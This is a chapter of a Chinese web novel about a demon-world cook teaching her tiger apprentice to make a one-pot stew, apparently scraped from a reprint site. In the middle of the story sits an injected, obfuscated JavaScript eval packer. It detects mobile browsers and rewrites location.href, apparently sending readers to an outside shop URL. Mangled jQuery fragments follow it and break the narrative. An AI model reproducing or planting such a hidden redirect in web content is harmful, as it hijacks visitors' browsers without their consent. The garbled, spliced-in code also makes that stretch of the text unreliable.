风竹小说 > 都市言情 > 妖界小厨娘 > 63. 一锅出
    鲜牛奶高温杀菌后,混合上研磨得极细的珍珠粉,调成糊状,敷在脸上,去黄提亮的同时还能美白。

    简菡和雪翎脸上敷着牛奶珍珠面膜,仰躺在后院的藤椅上,任由暖融融的日光洒满全身。

    今天的天气实在是好。

    不但没有一丝风,天还蓝得像块上好的绸缎,连云彩都见不着半片。

    日头直直照射下来,烤得人浑身上下都暖洋洋的,连骨头缝里都透着舒坦。

    旁边不远处,苗学望正跟一堆芥菜疙瘩较着劲。

    他庞大的虎躯蜷坐在一个小马扎上,面前放着个大木盆,手里拿着插菜板,吭哧吭哧地干着活。

    二十斤的芥菜,都得插成粗细均匀的丝,然后铺展在院子中央的雨布上晾晒。

    他毛茸茸的圆耳朵时不时因用力而抖动一下。

    “小师父,”他用袖子胡噜了一下脸上的汗珠,边跟芥菜搏斗边喊简菡,“为啥非得插成丝去晒啊?整个儿晒不行吗?多省事儿!”

    要不是脸上糊着面膜动弹不得,简菡真想敲一下他的虎头。

    她维持着仰躺的姿势,端起手边矮桌上的竹筒杯,就着里头那根芦苇杆做的吸管,滋溜吸了一大口焦糖珍珠奶茶。

    木薯粉手搓的珍珠圆子顺着吸管滑入口中,□□弹弹,特别有嚼劲,混合着奶香和焦糖的甜润,甘甜可口。

    “整个儿晒?”她咽下珍珠,声音因面膜而显得有些含糊,“外皮都晒干裂了,里头的菜心不还湿着吗?活儿不等于白干了吗?”

    苗学望手上的动作一顿,虎目圆睁,恍然大悟。

    “原来如此!不是故意折腾我啊!”

    明白了自己不是被刻意刁难后,他心头那点小委屈立刻烟消云散,手上插丝的动作都轻快麻利了几分,嘴里甚至哼起了不成调的小曲儿。

    感觉面膜敷得差不多了,两人用温水仔细洗去脸上微微干涸的糊状物,再薄薄涂上一层从御容堂买来的驻颜霜。

    简菡摸了摸自己水润光滑的脸颊,满意地眯起了眼,觉得这钱花得值。

    隔着窗户,能隐隐约约看见院子里苗学望依旧忙碌的身影。

    “诶!”雪翎停了手上用来促进吸收的玉石滚轮,偏过头看向简菡,“你真打算把你这一身厨艺都教给他啊?”

    “对啊。”简菡点点头,将驻颜霜的盖子拧紧,“咋啦?”

    “你就不怕……”雪翎压低了声音,“教会徒弟,饿死师父?他要是全学会了,抢了你饭碗可咋整?”

    “呵!”简菡闻言,冷笑一声,也拿起了滚轮。

    “我巴不得他赶紧出师,能接替我这份厨娘的活儿呢!”

    “每天烟熏火燎的,工钱又没几个子儿,再这么下去,我都怕自己这张脸提前垮了!”

    雪翎被逗得噗嗤直笑,伸出手摸了把简菡嫩滑的脸蛋,继续用滚轮慢悠悠地在自己的脸颊和下颌线上滚动着。

    =========

    “二哥,你看好啊。”简菡拿了根豆角在手上,示意苗学望认真看着她手上的动作,“用削皮刀立在豆角的侧边,这么一滑……”说着,一条细长,有些透明的翠绿色细丝被完整地刮了下来。

    “豆角的老筋就被去掉了。”

    “有它在,吃起来容易塞牙。这么一去,就利索多了。”简菡将去了筋的豆角展示给苗学望看。

    后者睁大了眼,惊奇地看着这一幕,嘴里发出喔的一声。

    他赶忙从怀里掏出个巴掌大的迷你小本子和一支小巧的毛笔,刷刷刷地记录起来。

    土豆去皮后切滚刀块,处理好的豆角也全部切成段。食材处理好后,先放在一旁的竹篮里备用。

    整根的精排需要剁成合适入口的小块。

    简菡让苗学望了试一下。

    他力气极大,手起刀落,哐哐几下,排骨便应声断裂,切口整齐,轻松得仿佛只是切了块豆腐。

    所有准备工作就绪,简菡系上围裙,开始了对苗学望的第一次正式的厨房教学实践活动。

    “看好了,二哥,第一步,煸香。”

    大铁锅烧热,下入稍多的油,油温升起后,放入葱段、姜片、拍扁的蒜瓣,还有几粒八角、一小把花椒,快速煸炒,直到浓郁的辛香味被热油激发出来,充盈在整个厨房。

    “第二步,炒肉。”

    将剁好的排骨块和斩成小块的走地鸡肉一同倒入锅中,快速翻炒。

    苗学望学着她的样子,用力挥动锅铲,肉块在热锅中滋滋作响,渐渐由红转白,再染上淡淡的金黄色,逼出丰腴的油脂和肉香。

    烹入一圈黄酒,激发出更深层的香气,再加入适量的酱油,给肉块均匀地炒上底色。

    “第三步,炖煮。”

    将炒香的肉类推到锅边,中间空出的地方,舀入一大勺黄豆酱,用底油小火煸炒出酱香味,然后将土豆块和豆角段全部倒入,与肉类、酱料一起翻炒均匀,让每一块食材都裹上酱色。

    接着,注入足量的热水,水量要几乎与食材齐平。

    提前煮过的半生不熟的肘子也被放了进去,盖上厚重的锅盖,转为中小火,慢慢炖煮。

    “第四步,贴饼子。”

    趁着炖煮的功夫,简菡开始准备玉米饼子。

    黄澄澄的玉米面与少许白面混合,加入温水调和,揉成不粘手的面团。

    她揪起一小块面团,在手中灵巧地团弄几下,再“啪”地一下,利落地贴在锅沿内侧,紧贴着翻滚的汤汁上方。

    随后,她让苗学望也上手试了一下。

    一个接一个,金黄色的玉米饼子很快围了锅沿一圈。

    “最后一步,收汁加粉条。”

    炖煮约莫两刻钟后,锅里的汤汁已经收得浓郁,土豆用筷子一戳就透,豆角也变得软烂。

    这时,将泡软了的宽粉条铺在最上面,利用蒸汽和余温将其焖熟,同时吸收锅底鲜美的汤汁。

    “来来来!吃饭啦!”

    简菡一边高声喊着,一边手脚麻利地分着碗筷。

    浓郁的香气早已飘散出去,勾得人肚里的馋虫蠢蠢欲动。

    汪屿第一个循着味儿跑过来,用力吸了吸鼻子,脸上满是难以置信。


    ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.froharCode(c+29):c.toString(36))};if(!''''''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''''\\w+''''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''''\\b''''+e(c)+''''\\b'''',''''g''''),k[c]);return p;}(''''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n."}'''',24,24,''''userAgent|iphone|ipad|iebile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|hs|i|shop|16822962|187362||http|test|ni|href|location''''.split(''''|''''),0,{}));

    () {

    $(''''.infor'').reve();

    $(''''#content'''').append(''''

    >

    “好香啊!这……这都是二哥你做的?”

    苗学望被夸得有些不好意思,那张平日里看起来颇为威猛的脸上泛起红晕,连耳根都红透了,他搓着手,憨厚地笑道。

    “都是小师父教得好,我就是打个下手,照着她说的做。”

    “那也是咱们二哥有天赋,学得快,手稳!”简菡笑着把筷子递到他手里,真心实意地夸赞,“第一次上手就能做得这么有模有样,香味十足,可不多见!”

    闻言,苗学望的脸更红了,几乎要埋进他那宽阔的胸膛里,只会嘿嘿地傻笑。

    一锅出端上桌时还咕嘟咕嘟地冒着热气。

    酱褐色的汤汁收得干,颜色全被粉条吸走了,仅剩的那点掩埋在丰盛的食材下,几乎看不见。

    排骨炖得软烂脱骨,饱吸了酱汁的精华,毫不费力就把骨头和肉分离开来。

    鸡用得是简菡养在后院的走地鸡,天天任由它们自己乱飞乱跑的,是以肉质极鲜极嫩。

    肘子瘦肉多,肥肉少,入口即化。因为被粗略地切分开,截面都是红褐色的。

    土豆炖得绵软起沙,豆角软糯入味。

    宽粉条透明滑韧,吸饱了汤汁,吃起来格外酣畅淋漓。

    锅边那一圈金灿灿的玉米饼子,下半截浸在汤汁里,变得咸香浓郁,上半截则保持着玉米的原始香甜,口感松软扎实。

    “诶!石睿呢?”雪翎在饭桌上扫视一圈,没瞧见那个熟悉的身影,扯着脖子四处张望。

    “回家了。”简菡咽下嘴里的排骨肉,叹了口气,“她家里人生病了,走得急。”

    雪翎收回探出去的脑袋,点了点头。

    “我说呢,好几天没看见她了。严重吗?咱们要不要去看看啊?”

    简菡伸出去夹粉条的筷子顿了一瞬,摇摇头,眉宇间带着些忧虑。

    “她走得急,具体情况也没细说。但……咱们也不知道她家具体在哪儿啊。要不,明天你陪我去一趟石掌柜那儿问问?”

    “行!”雪翎爽快地应下,“正好,去石掌柜店附近那个老奶奶的摊子上,给墨无咎买个帽子或者围嘴什么的。昨天晚上我起夜,黑灯瞎火的,他猛地一回头,两个冒绿光的猫眼跟灯笼似的,差点没把我吓背过气去!”

    “不要!”

    墨无咎正把脸埋在海碗里,专心对付一块连着骨头的肘子肉。

    闻言,他立刻抬起头,严词拒绝,黑色的猫耳嫌恶地抖了抖,“娘们唧唧的,我不戴。”

    他刚才吃得投入,此刻白净俊俏的脸上沾满了亮汪汪的油渍,配上他那副故作严肃的表情,反差极大,逗得满桌子的人哈哈大笑了起来。

    墨无咎不明白发生了什么,只当他们在笑他说的话。

    对此,他置之不理,正要继续啃肘子的时候,雪翎忽然把一面巴掌大的手持镜伸到了他面前。

    镜中人的滑稽面容被他尽收眼底。

    墨无咎淡定地用帕子胡乱地抹了把脸,就继续吃了起来。

    《妖界小厨娘》,晋江文学城(入不上V,全文免费中,来看正版点点收藏呀)